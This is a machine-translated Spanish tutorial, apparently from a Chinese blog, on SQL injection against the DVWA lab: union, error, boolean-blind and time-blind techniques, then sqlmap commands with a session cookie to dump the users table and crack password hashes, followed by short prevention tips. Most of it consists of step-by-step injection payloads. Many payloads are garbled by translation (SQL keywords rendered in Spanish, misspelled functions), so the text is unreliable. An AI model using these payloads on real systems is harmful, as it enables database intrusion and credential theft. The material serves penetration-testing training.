Inyección SQL para pruebas de penetración

inyección sql uno

teoría:

1.Idioma sql:

El lenguaje de consulta estructurado
es un lenguaje de programación y consulta de base de datos que se
utiliza para acceder a datos y consultar, actualizar y administrar sistemas de bases de datos relacionales.

Declaraciones de uso común:
aumentar: insertar en <nombre de tabla> <nombre de columna> valores (valor de columna)
eliminar: eliminar de <nombre de tabla> (donde <condición de eliminación>)
cambiar: actualizar <nombre de tabla> establecer <nombre de columna = valor de actualización> (donde <condición de actualización>)
comprobar: seleccione <nombre de columna> de <nombre de tabla> (donde <expresión de condición de consulta>)

Inyección 2.sql

Al insertar el comando sql en el formulario web o ingresar la cadena de consulta del nombre de dominio o la solicitud de página, el
servidor finalmente es engañado para ejecutar comandos SQL maliciosos.

La inyección de SQL utiliza el puerto de servicio HTTP normal, que no se ve diferente del acceso web normal en la superficie, y está extremadamente oculto y es difícil de descubrir.

3. El principio de funcionamiento de la inyección SQL:

El atacante accede al servidor web mediante la construcción de una declaración de consulta especial. Una vez que el servidor recibe la declaración, consulta dinámicamente los datos. La base de datos devuelve la información de la base de datos de acuerdo con los requisitos correspondientes. Una vez que el servidor recibe la información, devuelve directamente la información obtenida. información de la base de datos al atacante.

4. Condiciones para la formación de vulnerabilidades de inyección SQL

El usuario puede controlar la entrada de datos El
código SQL original a ejecutar se empalma con la entrada del usuario.

5. La realización de la inyección SQL:

a. Sentencia de consulta SQL
select * from news donde id = 1
Normalmente, significa: consultar el registro con id 1 en la tabla de noticias.
b) Inyección SQL
Agregue código malicioso y reconstruya la declaración
seleccione * de las noticias donde id = 1 o 1 = 1.
Si se devuelven todos los registros de datos en la tabla, hay un punto de inyección.

c. Consultar la base de datos;
empalmar declaraciones de consulta mediante unión y otros métodos para obtener finalmente información relacionada con la base de datos.
Por ejemplo, información de cuenta de administrador y contraseña.

d. No hay control legal sobre el valor de identificación

6. El daño de la inyección de sql;

Fugas de información de la base de datos Alteración de la
página
web Caballo colgante del sitio web
Operación maliciosa de la base de datos
Control remoto del servidor
Destrucción de datos del disco duro

Clasificación de inyección 7.sql:

Tipo de punto de inyección: inyección digital, inyección de caracteres
tipo digital: su tipo de punto de inyección es un número (sin comillas para cerrar la oración)
tipos de URL comunes como: http://xxxx.com/sqli.php?id=1
sql interno Declaración: seleccione * del nombre de la tabla donde id = ($ id)

Inyección de caracteres: el tipo de punto de inyección es un tipo de carácter, que debe cerrarse con comillas simples.
Tipos de URL comunes como: http://xxxx.com/sqli.php?name=fcfc
Declaración SQL interna: seleccione * del nombre de la tabla donde nombre = '($ nombre)'

Ubicación del punto de inyección:
obtener la inyección, la ubicación del punto de inyección se encuentra en la sección de obtención de parámetros.Inyección
posterior, el campo de inyección está en los datos de publicación (generalmente en el envío de formularios, consulta de producto)
inyección de cookies, el campo de inyección se
busca en los datos de cookies, y el punto de inyección es la ubicación de búsqueda (también pertenece a la inyección posterior)
Inyección de encabezado HTTP, el punto de inyección está en un campo determinado del encabezado http

Inyección pseudoestática Inyección
base64 Inyección de
segundo orden Inyección de
entidad xml Inyección de
authkey phpcmsv9

Resultado de la devolución de la página:
con eco:
inyección de error: use count (*), rand (),
agrupe por para construir la función de error uunion injection: use la consulta de unión para obtener todos los datos que desee

Sin eco
Nota ciega booleana: obtenga la información que necesitamos construyendo un juicio lógico
Nota ciega de tiempo: use la función sleep () para observar la diferencia en el tiempo de respuesta de la aplicación web

inyección manual sql (primaria)

Entorno experimental
dvwa

Combate real:

1. Configure dvwa:
ingrese dvwa, seleccione dvwa security y establezca el nivel de seguridad en bajo.

2. Pruebe el punto de inyección de SQL

1. Haga clic en inyección SQL para ingresar a la página de prueba.

2. Intente ingresar comillas simples, si se informa un error, puede haber puntos de inyección en la página

3. Ingrese 1 'o' 1 '=' 1 para devolver toda la información de datos, lo que indica que la información ingresada por el usuario no está controlada.

4. Adivine el número de campos en la declaración sql:
'o 1 = 1 orden por 1 #
' o 1 = 1 orden por 2 #
'o 1 = 1 orden por 3 #
Si se informa un error en 3, el número de campos para 2

5. Determine el orden de los campos mostrados:
1'union seleccione 1,2 #

6. Obtenga el nombre de la base de datos actual:
1'union seleccione 1, database () #

7. Obtenga el nombre de la tabla en la base de datos:
1'union seleccione 1, group_concat (table_name) from information_schema.tables donde table_schema = database () #

8. Obtenga los nombres de los campos en la tabla de usuarios:
'union select 1, group_concat (column_name) from information_schema.columns donde table_name =' users '#

9. Obtenga los datos de la tabla:
'union select group_concat (user_id, user), group_concat (contraseña) de los usuarios #

10. Descifre el valor MD5 de la contraseña del usuario a través de herramientas o la red.

inyección manual sql (intermedia)

Entorno experimental:
DVWA: establezca el nivel de seguridad en medio
burp suite: configuración de proxy, seleccione las opciones en proxy para agregar la interfaz de proxy que necesita ser escuchada.
La configuración del navegador es una opción de proxy: (configurar de acuerdo con los diferentes navegadores)

Combate real:
1. Establezca la solicitud de intercepción en eructo y luego envíe los parámetros en la página de prueba. En este momento, el paquete de datos interceptado aparece en eructo. Cambie
el parámetro id = a 1 o 1 = 1 y haga clic en el proxy. -Botón de intercepción-reenvío, volver a la página de prueba.Si los datos se devuelven y la consulta de datos es exitosa, significa que hay una vulnerabilidad digital.
Si el parámetro id se establece en 'o' 1 '=' 1 si la consulta es exitosa, existe una vulnerabilidad de carácter.

2. Utilice el software burpsuite para adivinar el número de campos en la declaración de consulta SQL.
Después de capturar el valor de identificación del paquete de datos, use los siguientes comandos uno por uno para adivinar la solución uno por uno hasta que se adivine el número de campos. Ordenar
por 1 #
ordenar por 2 #
ordenar por 3 #

3. Use burpsuite para determinar el orden de los campos mostrados.
Después de capturar el valor de identificación del paquete de datos, agregue una declaración:
union select 1,2 #

  1. Use burpsuite para obtener el nombre de la base de datos actual
    . Agregue la declaración después del valor de id del paquete de datos:
    union select 1, database () #

  2. Use burpsuite para obtener el nombre de la tabla
    en la base de datos actual. Agregue la declaración después del valor de id del paquete de datos:
    union select 1, group_concat (table_name) from information_schema.tables donde table_schema = database () #

  3. Use burpsuite para obtener los nombres de los campos
    en la tabla de usuarios: seleccione la opción decodificador en burp suite, ingrese usuarios y seleccione la opción html debajo de codificar para obtener el valor hexadecimal en la tabla de usuarios.
    Luego agregue la declaración después de capturar el valor de identificación del paquete de datos:
    union select 1, group_concat (column_name) from information_schema.columns donde table_name = 0x7573657273 #

  4. Use burpsuite para obtener los datos
    en la tabla: agregue una declaración después del valor de id del paquete de datos:
    union select group_concat (user_id, user), group_concat (contraseña) de los usuarios #

inyección manual sql (avanzado)

Entorno experimental:
DVWA

Combate real:
1. Ingrese dvwa y establezca el nivel de seguridad en alto.

2. Ingrese 1 'o 1 = 1 # en la página principal, y la consulta de datos es exitosa, lo que indica que hay una vulnerabilidad de inyección de caracteres.

3. Adivine el número de campos en la declaración de consulta:
1 'o 1 = 1 orden por 1 #
1' o 1 = 1 orden por 2 #
1 'o 1 = 1 orden por 3 #

4. Determine el orden de los campos mostrados:
1'union seleccione 1,2 #

5. Obtenga el nombre de la base de datos
1'union seleccione 1, database () #

6. 获取 表 名 :
1 'union select 1, group_concat (table_name) from information_schema.tables donde table_schema = database () #

7. Obtenga los nombres de los campos en la tabla de usuarios;
1'union seleccione 1, group_concat (column_name) de information_schema.columns donde table_name = 0x7573657273 #
(La representación hexadecimal de'users 'es 0x7573657273)

8. Obtenga los datos de la tabla:
1 'o 1 = 1 unión seleccione group_concat (user_id, usuario), group_concat (contraseña) de los usuarios #

9. Descifre la contraseña obtenida con una herramienta:

inyección ciega sql

Inyección ciega, es decir, en el proceso de inyección SQL, después de que se selecciona la instrucción SQL, los datos seleccionados no se pueden enviar al front-end. Necesitamos usar algunos métodos especiales para juzgar o probar. Este proceso se llama inyección ciega.

Persianas booleanas

Use el método y en la instrucción sql para devolver correcto o incorrecto para construir

El entorno experimental
DVWA
estableció el nivel de seguridad en bajo

Combate real;
1. Ingrese inyección SQL (ciego), ingrese a la página de prueba

2. Utilice 1 'y 1 = 1 #Enviar, la página de visualización existe, utilice 1' y 1 = 2 #Enviar, la página de visualización no existe.
Esto básicamente puede juzgar la existencia de inyección.

3. Adivina la longitud del nombre de la base de datos:
1 'y longitud (base de datos ()) = 1 # // La visualización no existe
1' y la longitud (base de datos ()) = 2 # // La visualización no existe
1 'y la longitud (base de datos ()) = 3 # // La visualización no existe
1 'y la longitud (base de datos ()) = 4 # // La visualización no existe

4. Adivina el nombre de la base de datos por dicotomía:
1 'y ascii (substry (database (), 1,1)) <100 # // La visualización no existe
1' y ascii (substry (database (), 1,1 ))> 100 # // La visualización no existe
Modifique el segundo parámetro de la función substr en este comando, como (substr (database (), 2, 1)) para probar y obtener la segunda letra de la base de datos.

  1. Adivine el número de tablas de la base de datos:
    1 'y (seleccione count (table_name) de information_schema.tables donde table_schema = database ()) = 1 # // La visualización no existe

1'and (select count (table_name) from information_schema.tables donde table_schema = database ()) = 2 # // Muestra la existencia, indicando que hay dos tablas

6. Adivine la longitud del nombre de la tabla de la base de datos:
1 'y la longitud (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1)) = 1 # // La visualización no existe

1 'y length (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1)) = 9 # // 显示 存在

1 'y length (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 1,1), 1)) = 5 # // 显示 存在

7. Adivine el nombre de la tabla de la base de datos
1 'y ascii (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1,1)) <103 # // La visualización no existe

1 'y ascii (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1,1))> 103 # // 显示 不 存在

1 'y ascii (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1,1)) = 103 # // 显示 存在

Repite los pasos para adivinar todos los nombres de las tablas.

8. Adivine la longitud del campo en la tabla de la base de datos:
1 'y (seleccione count (column_name) de information_schema.columns donde table_name =' users ') = 1 #

1 'y (seleccione count (column_name) de information_schema.columns donde table_name =' users ') = 8 #

9. Adivine el nombre del campo en la tabla de la base de datos
1 'y ascii (substr ((seleccione column_name de information_schema.column donde table_name =' users 'limit 0,1), 1,1)) <117 # // La visualización no existe

1 'y ascii (substr ((seleccione column_name de information_schema.column donde table_name =' users 'limit 0,1), 1,1))> 117 # 显示 不 存在

10. Adivine los datos de la tabla:
1 'y (seleccione el recuento (primer_nombre) de los usuarios) = 5 # // Muestra existencia, lo que indica que el número de campos en la tabla de usuarios es 5
Adivine la longitud de cada registro, indicando el first name of first_name La longitud del valor es de 5 caracteres
1 'y (seleccione el recuento (first_name) de los usuarios) = 5 # // Mostrar existencia

11. Adivina los datos de la tabla por dicotomía:

1 'y ascii (substr ((seleccione first_name del límite de usuarios 0,1), 1,1)) <97 #
1' y ascii (substr ((seleccione first_name del límite de usuarios 0,1), 1,1))> 97 #
1 'y ascii (substr ((seleccione el primer nombre del límite de usuarios 0,1), 1,1)) = 97 #

Persianas de tiempo:

Retraso basado en el tiempo

El entorno experimental
DVWA
estableció el nivel de seguridad en bajo

Combate real;
1. Ingrese inyección SQL (ciego), ingrese a la página de prueba

  1. Use 1 y sleep (5) # para enviar y descubra que la página no está retrasada.
    Use 1'and sleep (5) # para enviar y descubra que la página está significativamente retrasada
    . Es una nota ciega de tiempo basada en caracteres.

3. Adivina la longitud del nombre de la base de datos
1 'y si (length (database ()) = 1, sleep (5), 1) # // No se encontró ningún retraso

1'and if (length (database ()) = 4, sleep (5), 1) # / Se encuentra que hay un retraso, lo que indica que la longitud del nombre de la biblioteca es 4

4. Dicotomía adivinando el nombre de la base de datos
1 'y if (ascii (substr (database (), 1,1))> 97, seelp (5), 1) # // Retraso significativo 1' y
if (ascii (substr (database (), 1,1))> 100, seelp (5), 1) # // Sin demora 1 'y
si (ascii (substr (database (), 1,1)) <100, seelp (5), 1 )# //Sin demora

En este comando, modifique el segundo parámetro de la función substr, como (substr (database (), 2, 1)) para probar y obtener la segunda letra de la base de datos.

5. Adivina el número de tablas de la base de datos
1 'y si ((selecciona count (table_name) de information_schema.tables donde table_schema = database ()) = 1, seelp (5), 1) # Sin demora

1'and if ((select count (table_name) from information_schema.tables donde table_schema = database ()) = 2, seelp (5), 1) # // Hay un retraso, lo que indica que hay dos tablas


6.Adivina la longitud de la tabla 1 'y if (lenght (substr ((seleccione table_name de information_scheam.tables donde table_schema = database () limit0,1), 1)) = 1, seelp (5), 1) # / / Sin demora

1 'y if (lenght (substr ((seleccione table_name de information_scheam.tables donde table_schema = database () limit0,1), 1)) = 9, seelp (5), 1) # // 有 延迟

7. Adivina el nombre de la base de datos:

1 'y if (ascii (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1,1))> 103, seelp (5), 1) # // 无 延迟

1 'y if (ascii (substr ((seleccione table_name de information_schema.tables donde table_schema = database () limit 0,1), 1,1)) <103, seelp (5), 1) # // 有 延迟

8. Adivine la longitud del campo en la tabla de la base de datos
1 'y si ((seleccione count (column_name) de information_schema.columns donde table_name =' users ') = 1, sleep (5), 1 # // Sin demora

1 'y if ((seleccione count (column_name) from information_schema.columns donde table_name =' users ') = 8, sleep (5), 1 # // 有 延迟

9. Adivina el nombre del campo en la tabla de la base de datos.

1 'y if (ascii (substr ((seleccione column_name from information_schema.columns where table_name =' users 'limit 0,1), 1,1)) <117, sleep (5), 1 # // 无 延迟

1 'y if (ascii (substr ((seleccione column_name from information_schema.columns where table_name =' users 'limit 0,1), 1,1))> 117, sleep (5), 1 # // 无 延迟

10. Adivina los datos de la tabla:
1 'y si ((selecciona count (first_name) de los usuarios) = 5, sleep (5), 1) # //
El número de campos en la tabla de usuarios se retrasa obviamente a 5
Guess cada registro La longitud del primer_nombre indica que la longitud del primer valor es de 5 caracteres
1 'y si (longitud (substr ((seleccione el primer_nombre del límite de usuarios 0,1), 1)) = 5, dormir (5), 1) # / / Con retraso

11.La dicotomía adivina los datos de la tabla
1 'y si (ascii (substr ((seleccione el primer nombre del límite de usuarios 0,1), 1,1))> 97, sleep (5), 1) # // sin demora
1 'y if (ascii (substr ((seleccione first_name del límite de usuarios 0,1), 1,1)) <, sleep (5), 1) # // Sin demora

inyección de herramienta sqlmap:

Entorno de prueba:
dvwa
kali
actual combat:
1. Llame a la herramienta sqlmap en kali, use el comando sqlmap -u dirección de destino para probar, y el
sistema salta directamente a la página de inicio de sesión.

2. Al marcar el elemento del navegador, en el encabezado de la solicitud, puede encontrar el valor de la cookie del navegador actual.

3. Agregue el parámetro -cookie y construya el siguiente comando
sqlmap -u "http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#" --cookie = "security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5 "

Necesita ingresar manualmente los parámetros Y / N relevantes de forma continua

4. Después de agregar el parámetro --batch, sqlmap completará automáticamente los parámetros y se ejecutará.
Se encontró un punto de inyección de tipo de consulta de unión
sqlmap -u "http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#" --cookie = "security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5" --batch

  1. Obtener información relacionada con la base de datos
    Agregar parámetro --dbs
    sqlmap -u "http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#" --cookie = "security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5" - lote --dbs

  2. Obtenga el nombre de la tabla en la base de datos.
    Use -D xxx para especificar la base de datos que se visualizará y use –tables para ver todas las tablas en la base de datos
    sqlmap -u "http://192.168.1.10:81/DVWA/vulnerabilities/ sqli /? id = 1 & Submit # "--cookie =" security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5 "--batch --dbs -D dvwa

  3. Obtenga los nombres de los campos en la tabla de usuarios
    Use -D xxx (nombre de la biblioteca) -T xxx (nombre de la tabla) --columns para enumerar toda la información de los campos en la tabla
    sqlmap -u "http://192.168.1.10:81/DVWA/ vulnerabilities / sqli /? id = 1 & Submit # "--cookie =" security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5 "--batch --dbs -D dvwa -T users --columns

  4. Obtenga los datos en la tabla.
    Obtenga los parámetros de usuario y contraseña, los comandos específicos son los siguientes
    -D (nombre de la base de datos xxx) -T (nombre de la tabla xxx) -C (nombre del campo) -dump para volcar elementos de la tabla de datos DBMS

sqlmap -u “http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#” --cookie = “security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5” --batch --dbs -D dvwa -T usuarios -C user_id, usuario, contraseña --dump

Prevención de inyección SQL:

1. Fortalecimiento de la seguridad de la base de datos, WAF, IDS \ IPS
2. Estribillo y filtre estrictamente la entrada
3. Utilice parametrizado (parametrizado)
4.
Preprocesamiento de PDO: el preprocesamiento de PDO puede evitar razones de inyección SQL sin preprocesamiento de PDO SQL, cuando se ingresa la declaración SQL para su ejecución, el servidor web puede ensamblar declaraciones SQL peligrosas cuando se ensambla por sí mismo. Sin embargo, si se realiza el SQL preprocesado por PDO, MYSQL se ensamblará por sí mismo. Incluso si la declaración SQL peligrosa está incorporada, no se procesará y solo se pasará como un parámetro en lugar de empalmarse en el SQL. declaración para evitarlo Inyección SQL.

Supongo que te gusta

Origin blog.csdn.net/weixin_45380284/article/details/107664117
Recomendado
Clasificación